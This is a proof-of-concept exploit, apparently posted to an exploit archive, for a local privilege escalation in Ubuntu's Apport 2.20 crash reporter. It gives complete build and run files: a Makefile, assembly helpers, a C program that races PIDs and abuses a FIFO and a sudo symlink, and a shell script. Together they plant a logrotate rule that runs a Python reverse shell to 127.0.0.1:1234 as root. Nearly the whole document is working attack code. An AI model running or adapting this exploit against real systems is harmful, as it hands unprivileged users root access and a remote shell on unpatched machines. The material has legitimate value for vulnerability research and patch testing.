Authored by Gr33nh4t

Apport version 2.20 suffers from a local privilege escalation vulnerability.

# Exploit Title: Apport 2.20 - Local Privilege Escalation
# Date: 18/02/21
# Exploit Author: Gr33nh4t
# Vendor Homepage: https://ubuntu.com/
# Version:

Apport: Ubuntu 20.10 - Before 2.20.11-0ubuntu50.5
Apport: Ubuntu 20.04 - Before 2.20.11-0ubuntu27.16
Apport: Ubuntu 18.04 - Before 2.20.9-0ubuntu7.23
Apport: Ubuntu 16.04 - Before 2.20.1-0ubuntu2.30

# Tested on: Ubuntu

This is a POC for Apport exploit, we exploited these bugs by launching a reverse shell to 127.0.0.1:1234.

# Setup

To compile the exploit code several packages are needed:
sudo apt-get install build-essential nasm gcc

# Compilation

make

# Run

./exploit.sh

The reverse shell will connect on the next execution of logrotate

nc -l -p 1234

## Makefile ##

.PHONY: all clean

CC=gcc
CFLAGS=

NASM=nasm
NASM_FLAGS=-f elf64

LD=ld


all: exploit crash decoy

exploit: exploit.c
$(CC) -o [email protected] $< $(CFLAGS)
chmod +x [email protected]

crash: crash.o
$(LD) $^ -o [email protected]

decoy: decoy.o
$(LD) $^ -o [email protected]

crash.o: crash.asm
$(NASM) $(NASM_FLAGS) $^

decoy.o: decoy.asm
$(NASM) $(NASM_FLAGS) $^


clean:
rm exploit decoy crash *.o

## crash.asm ##

section .data
message db 10,"/var/crash/test.log{",10," su root root",10," daily",10," size=0",10," firstaction",10," python3 -c ", 34, "import sys,socket,os,pty; s=socket.socket();s.connect(('127.0.0.1', 1234));[os.dup2(s.fileno(), fd) for fd in (0,1,2)];pty.spawn('/bin/sh')", 34, ";",10," endscript",10,"}",10, 00
timeval:
tv_sec dd 0
tv_usec dd 0


section .text
global _start
_start:
mov dword [tv_sec], 4000000
mov dword [tv_usec], 0
mov rax, 35
mov rdi, timeval
mov rsi, 0
syscall

## decoy.asm ##

section .text
global _start
_start:
mov dword [0], 0

## exploit.c ##

#include <unistd.h>
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <signal.h>

#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>

#define PID_THRESHOLD (80)

int read_max_pid_file()
{
FILE *fd = 0;
char buf[256];

fd = fopen("/proc/sys/kernel/pid_max", "r");
fread(buf, sizeof(buf), 1, fd);
fclose(fd);
return atoi(buf);
}

void write_to_fifo_file(char * path)
{
FILE *fd = 0;
char buf[] = "A";

fd = fopen(path, "w");
fwrite(buf, sizeof(buf), 1, fd);
fclose(fd);
return;
}


int main(int argc, char *argv[])
{
int iteration = 0;
pid_t crash_pid = -1, temp_pid = -1, spray_pid = -1;
int current_pid = 0, max_pid = 0;
int total_pid = 0;

char *crash_argv[] = {"crash", NULL};
char *sudo_argv[] = {"sudo", "-S", "sud", NULL};

char current_dir[1024] = {0};
char exec_buf[2048] = {0};
char crash_buf[2048] = {0};

struct stat sb = {0} ;

int null_fd = -1;

signal(SIGCHLD, SIG_IGN);
getcwd(current_dir, sizeof(current_dir));
snprintf(exec_buf, sizeof(exec_buf), "%s/%s", current_dir, "arUid: 0rGid: 0");
snprintf(crash_buf, sizeof(crash_buf), "%s/%s", current_dir, "crash");

chdir("/etc/logrotate.d/");



// Creating the crash program
if (0 == stat(crash_buf, &sb) && sb.st_mode & S_IXUSR)
{
crash_pid = fork();
if (0 == crash_pid)
{
execve(crash_buf, crash_argv, NULL);
exit(0);
}
else if(-1 == crash_pid)
{
printf("[-] Could not fork programn");
return -1;
}
}
else
{
printf("[-] Please check crash file executable.");
return -1;
}


max_pid = read_max_pid_file();
printf("[*] crash pid: %dn", crash_pid);
printf("[*] max pid: %dn", max_pid);

printf("[*] Creating ~%d PIDsn", max_pid);
printf("[*] Forking new processesn");
sleep(3);

// Iterating through max_pid to almost reach the crash program pid
while (iteration < max_pid - 1)
{
// Print progress of forks
if( 0 == (iteration % (int)(max_pid / 5000)))
{
printf("rIteration: %d/%d", iteration + 1, max_pid);
fflush(stdout);
}
temp_pid = -1;
temp_pid = fork();
if (0 == temp_pid)
{
exit(0);
}
else if (temp_pid > 0)
{
iteration++;
// We should stop before the crash pid to avoid other processes created meanwhile to interfere the exploit process
if ( temp_pid < crash_pid && crash_pid - temp_pid < PID_THRESHOLD)
{
printf("rIteration: %d/%dn", iteration + 1, max_pid);
fflush(stdout);
printf("[+] less then %d pid from the target: last fork=%d , target: %dn", PID_THRESHOLD, temp_pid, crash_pid);
break;
}
}
else if (-1 == temp_pid)
{
printf("[-] Could not fork temp programsn");
}
}

printf("[*] Crashing the crash programn");
kill(crash_pid, SIGSEGV); // From Now on the seconds apport will launch and we have 30 seconds to exploit it
sleep(5);
printf("[*] Killing the crash programn");
kill(crash_pid, SIGKILL);
sleep(3);

// Now crash pid is free and we need to occupy it
for(int i=0; i < PID_THRESHOLD ; i++)
{
spray_pid = fork();
if (0 == spray_pid)
{
if (crash_pid == getpid())
{
null_fd = open("/dev/null", O_WRONLY);
dup2(null_fd, 1);
dup2(null_fd, 2);
close(null_fd);

printf("[+] Creating suid processn");
execve(exec_buf, sudo_argv, NULL);
}
exit(0);
}
}

sleep(3);
printf("[*] Writing to fifo filen");
write_to_fifo_file(argv[1]);

// Now the first apport released and the second apport resumed
printf("[+] Wrote core file to cwd!n");
sleep(10); // Waiting for the second apport to finish execution

return 0;
}

## exploit.sh ##

#!/bin/sh
set -e
echo "[*] Running exploit"
touch /var/crash/test.log
ulimit -c unlimited

if [ ! -d "~/.config/apport" ]; then
echo "[*] Settings directory not exists"
echo "[*] Creating settings directory"
mkdir -p ~/.config/apport
fi

if [ ! -f "~/.config/apport/settings" ] ; then
echo "[*] Settings file not exists"
echo "[main]nunpackaged=truen" > ~/.config/apport/settings
echo "[+] Settings file created"
fi

DECOY_PATH=`realpath ./decoy`
MY_UID=`id -u`
DECOY_CRASH_NAME=`echo "${DECOY_PATH}.${MY_UID}.crash" | sed 's///_/g'`
DECOY_CRASH_PATH="/var/crash/${DECOY_CRASH_NAME}"
if [ -f $DECOY_CRASH_PATH ] || [ -p $DECOY_CRASH_PATH ] ; then
echo "[*] decoy crash exists deleting the file"
rm $DECOY_CRASH_PATH
fi

mkfifo $DECOY_CRASH_PATH
echo "[+] FIFO file created"

./decoy 2>&1 >/dev/null &
killall -SIGSEGV ./decoy

echo "[+] Decoy process created"

SUDO_PATH=`which sudo`
ln -s $SUDO_PATH "linkchange"
python3 -c "import os; os.rename('./linkchange', 'arUid: 0rGid: 0')"

echo "[+] symlink to sudo created"

./exploit $DECOY_CRASH_PATH

rm $DECOY_CRASH_PATH

sleep 5
if [ -f "/etc/logrotate.d/core" ] ; then
echo "[*] Exploit succesfully finished"
else
echo "[*] Exploit failed"
fi

# Kill the sudo process after second apport finished
kill `ps -ef | grep "sudo -S sud" | grep -v grep | awk '{print $2}'`

##